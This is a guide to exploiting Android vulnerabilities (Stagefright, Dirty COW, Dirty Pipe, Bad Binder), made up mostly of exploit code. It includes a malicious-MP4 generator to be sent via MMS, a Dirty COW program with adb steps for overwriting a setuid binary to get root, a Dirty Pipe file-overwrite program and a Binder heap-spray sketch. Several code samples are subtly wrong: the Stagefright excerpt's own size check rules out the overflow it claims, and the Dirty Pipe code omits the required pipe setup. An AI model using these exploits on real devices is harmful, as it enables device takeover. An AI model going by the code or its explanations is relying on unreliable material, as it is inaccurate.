Android CVE Analysis: Stagefright to Dirty Pipe Exploitation
Introduction
Android CVE analysis requires understanding both application-layer vulnerabilities in frameworks like Stagefright and kernel-level exploits affecting the Linux subsystem. This guide analyzes major Android CVEs, from media codec exploits to privilege escalation vulnerabilities.
Stagefright Vulnerabilities (CVE-2015-1538)
Background
Stagefright is Android’s media playback library handling various formats (MP4, 3GP, MKV). Multiple integer overflow and buffer overflow vulnerabilities enabled remote code execution via MMS.
Root Cause Analysis
Vulnerable code (libstagefright/MPEG4Extractor.cpp):
status_t MPEG4Extractor::parseChunk(off64_t offset, int depth) {
uint32_t chunk_type;
uint64_t chunk_size;
// Read chunk header
if (mDataSource->readAt(offset, &chunk_size, 8) < 8) {
return ERROR_IO;
}
chunk_size = ntoh64(chunk_size);
// VULNERABILITY: Integer overflow
// If chunk_size is 0x1, then chunk_data_size = 0x1 - 8 = 0xFFFFFFFFFFFFFFF9 (huge value)
if (chunk_size >= 8) {
uint64_t chunk_data_size = chunk_size - 8;
// Allocate buffer based on overflowed size
void* buffer = malloc(chunk_data_size); // Allocates small buffer due to wraparound
// Read data into undersized buffer → heap overflow
mDataSource->readAt(offset + 8, buffer, chunk_data_size);
}
return OK;
}
Integer overflow chain:
chunk_size = 0x0000000000000001 (from malicious MP4)
chunk_data_size = chunk_size - 8 = 0xFFFFFFFFFFFFFFF9
malloc(0xFFFFFFFFFFFFFFF9) → wraps to malloc(small value) due to 32-bit size_t
readAt(..., huge_size) → heap buffer overflow
Proof-of-Concept
#!/usr/bin/env python3
"""
CVE-2015-1538 Stagefright PoC
Generates malicious MP4 file
"""
import struct
def create_malicious_mp4():
# MP4 file structure
mp4 = b''
# ftyp atom (file type)
ftyp = b'ftyp' + b'mp42' + struct.pack('>I', 0) + b'mp42isom'
mp4 += struct.pack('>I', len(ftyp) + 4) + ftyp
# Malicious stsc atom (sample-to-chunk)
# Integer overflow: size = 1
stsc_size = 0x0000000000000001
stsc = b'stsc'
mp4 += struct.pack('>Q', stsc_size) + stsc
mp4 += b'A' * 1000 # Overflow data
# mdat atom (media data)
mdat = b'mdat' + b'X' * 100
mp4 += struct.pack('>I', len(mdat) + 4) + mdat
return mp4
if __name__ == '__main__':
malicious_mp4 = create_malicious_mp4()
with open('exploit.mp4', 'wb') as f:
f.write(malicious_mp4)
print("[+] Generated exploit.mp4")
print("[*] Send via MMS to trigger vulnerability")
Exploitation:
- Craft malicious MP4 with integer overflow
- Trigger heap overflow in Stagefright
- Overwrite heap metadata for code execution
- Achieve RCE in mediaserver process (system UID)
Patch Analysis
Fix (Android 5.1.1):
status_t MPEG4Extractor::parseChunk(off64_t offset, int depth) {
uint32_t chunk_type;
uint64_t chunk_size;
if (mDataSource->readAt(offset, &chunk_size, 8) < 8) {
return ERROR_IO;
}
chunk_size = ntoh64(chunk_size);
// FIX: Validate chunk_size before arithmetic
if (chunk_size < 8 || chunk_size > INT64_MAX) {
return ERROR_MALFORMED;
}
uint64_t chunk_data_size = chunk_size - 8;
// FIX: Additional size validation
if (chunk_data_size > SIZE_MAX) {
return ERROR_MALFORMED;
}
void* buffer = malloc(chunk_data_size);
if (!buffer) {
return ERROR_MALFORMED;
}
// Safe read
if (mDataSource->readAt(offset + 8, buffer, chunk_data_size) < chunk_data_size) {
free(buffer);
return ERROR_IO;
}
// ... process buffer ...
free(buffer);
return OK;
}
Dirty COW (CVE-2016-5195)
Vulnerability Mechanism
Race condition in Linux kernel’s copy-on-write (COW) mechanism allows privilege escalation.
Vulnerable path:
// mm/memory.c (Linux kernel < 4.8.3)
static int do_wp_page(struct vm_fault *vmf) {
struct page *old_page = vmf->page;
// Check if page is writeable
if (PageAnon(old_page) && !PageKsm(old_page)) {
// RACE WINDOW: Between check and page replacement
// Thread 1: madvise(MADV_DONTNEED) → unmap page
// Thread 2: write() → trigger COW on unmapped page → UAF
reuse_swap_page(old_page); // Reuse page if safe
}
// Copy-on-write
return wp_page_copy(vmf);
}
Exploit Implementation
/*
* CVE-2016-5195 (Dirty COW) Android exploit
* Overwrites read-only files (e.g., system binaries)
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <string.h>
#include <unistd.h>
void *map;
int fd;
char *payload = "\x7fELF..."; // Malicious ELF header
int payload_len;
void *madvise_thread(void *arg) {
// Continuously unmap the page
while (1) {
madvise(map, 100, MADV_DONTNEED);
}
return NULL;
}
void *write_thread(void *arg) {
// Continuously write to read-only mapping
int f = open("/proc/self/mem", O_RDWR);
lseek(f, (off_t)map, SEEK_SET);
while (1) {
write(f, payload, payload_len);
}
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <target_file>\n", argv[0]);
printf("Example: %s /system/bin/run-as\n", argv[0]);
return 1;
}
// Open target read-only file
fd = open(argv[1], O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
struct stat st;
fstat(fd, &st);
// Map file as read-only
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (map == MAP_FAILED) {
perror("mmap");
return 1;
}
printf("[*] Mapped %s at %p\n", argv[1], map);
// Prepare payload (replace target with malicious binary)
payload_len = strlen(payload);
// Start race threads
pthread_t madv_thread, wr_thread;
pthread_create(&madv_thread, NULL, madvise_thread, NULL);
pthread_create(&wr_thread, NULL, write_thread, NULL);
printf("[*] Racing... (Ctrl+C to stop)\n");
// Wait for successful write
sleep(2);
// Verify overwrite
char check[100];
lseek(fd, 0, SEEK_SET);
read(fd, check, 4);
if (memcmp(check, "\x7fELF", 4) == 0) {
printf("[+] SUCCESS! File overwritten\n");
} else {
printf("[-] Failed\n");
}
return 0;
}
Exploitation steps:
# Compile exploit
adb push dirtycow /data/local/tmp/
adb shell chmod +x /data/local/tmp/dirtycow
# Target: /system/bin/run-as (setuid root binary)
adb shell /data/local/tmp/dirtycow /system/bin/run-as
# Replace with root shell
# Now run-as is malicious setuid root binary
adb shell run-as
# uid=0(root) gid=0(root) groups=0(root)
Dirty Pipe (CVE-2022-0847)
Modern Kernel Vulnerability
Similar to Dirty COW but affects Linux kernel 5.8+, including Android 12/13.
Root cause (fs/pipe.c):
// Vulnerability: pipe_write() doesn't clear PIPE_BUF_FLAG_CAN_MERGE
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from) {
struct pipe_inode_info *pipe = filp->private_data;
for (;;) {
struct pipe_buffer *buf = &pipe->bufs[head & mask];
// If previous write set CAN_MERGE flag...
if (buf->flags & PIPE_BUF_FLAG_CAN_MERGE) {
// ...we can append to read-only page!
int offset = buf->offset + buf->len;
// Write to page cache → overwrites read-only file
copy_page_from_iter(buf->page, offset, bytes, from);
}
}
}
Android Exploit
/*
* CVE-2022-0847 (Dirty Pipe) Android exploit
*/
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
int main() {
// Open read-only system file
int fd = open("/system/etc/hosts", O_RDONLY);
// Create pipe
int pipefd[2];
pipe(pipefd);
// Write data to pipe (sets CAN_MERGE flag)
write(pipefd[1], "X", 1);
// Splice from file to pipe
splice(fd, NULL, pipefd[1], NULL, 1, 0);
// Write malicious data (overwrites file via page cache)
char payload[] = "127.0.0.1 evil.com\n";
write(pipefd[1], payload, strlen(payload));
printf("[+] Overwrote /system/etc/hosts\n");
close(fd);
close(pipefd[0]);
close(pipefd[1]);
return 0;
}
Privilege escalation:
# Target: /system/bin/su or any setuid binary
# Overwrite with malicious code
# Achieve root
adb push dirtypipe /data/local/tmp/
adb shell /data/local/tmp/dirtypipe
Android Binder Vulnerabilities
CVE-2019-2215 (Bad Binder)
Use-after-free in Binder kernel driver.
Vulnerable code (drivers/android/binder.c):
static void binder_transaction(struct binder_proc *proc,
struct binder_thread *thread,
struct binder_transaction_data *tr) {
struct binder_work *w;
struct binder_transaction *t;
// Allocate transaction
t = kzalloc(sizeof(*t), GFP_KERNEL);
// Add to target process
list_add_tail(&t->work.entry, &target_proc->todo);
// VULNERABILITY: t can be freed by target process before we use it
// Race condition → use-after-free
if (reply) {
binder_pop_transaction(target_thread, in_reply_to);
// If freed, accessing t here causes UAF
binder_stat_br(proc, thread, cmd);
}
}
Exploitation technique:
// Heap spraying to reclaim freed object
#define SPRAY_COUNT 1000
int spray_heap() {
int fds[SPRAY_COUNT];
for (int i = 0; i < SPRAY_COUNT; i++) {
// Allocate objects same size as binder_transaction
fds[i] = open("/dev/binder", O_RDWR);
// Trigger allocation
ioctl(fds[i], BINDER_VERSION, &version);
}
// Trigger UAF
trigger_uaf();
// One of our spray objects replaced freed transaction
// Control kernel memory → privilege escalation
return 0;
}
Automated CVE Analysis
Binary Diffing
#!/usr/bin/env python3
"""
Automated patch analysis for Android libraries
"""
import subprocess
import hashlib
def extract_apk(apk_path, output_dir):
subprocess.run(['apktool', 'd', apk_path, '-o', output_dir])
def compare_libraries(old_lib, new_lib):
"""
Find patched functions using bindiff
"""
# Load libraries in IDA
# Run BinDiff plugin
# Export differences
differences = []
# Parse BinDiff results
with open('bindiff_results.txt', 'r') as f:
for line in f:
if 'MODIFIED' in line:
func_name = line.split()[1]
differences.append(func_name)
return differences
def analyze_patch(func_name, old_binary, new_binary):
"""
Detailed analysis of patched function
"""
print(f"\n[*] Analyzing {func_name}")
# Decompile old version
old_code = decompile_function(old_binary, func_name)
# Decompile new version
new_code = decompile_function(new_binary, func_name)
# Diff
import difflib
diff = difflib.unified_diff(old_code.splitlines(), new_code.splitlines())
for line in diff:
print(line)
if __name__ == '__main__':
# Compare vulnerable vs patched versions
old_lib = '/path/to/old/libstagefright.so'
new_lib = '/path/to/patched/libstagefright.so'
modified_funcs = compare_libraries(old_lib, new_lib)
for func in modified_funcs:
analyze_patch(func, old_lib, new_lib)
Conclusion
Android CVE analysis spans user-space media codec vulnerabilities to kernel-level race conditions. Understanding both categories—along with patch diffing techniques—is essential for vulnerability research and exploit development.
Modern Android security (SELinux, seccomp, kernel hardening) raises the exploitation bar, but fundamental memory corruption and logic flaws continue to enable privilege escalation and remote code execution.
References
- Project Zero (2015). “Stagefright Vulnerability Analysis”
- Dirty COW (2016). “CVE-2016-5195 Technical Details”
- Dirty Pipe (2022). “CVE-2022-0847 Exploitation”
- Google (2019). “Android Security Bulletin - CVE-2019-2215”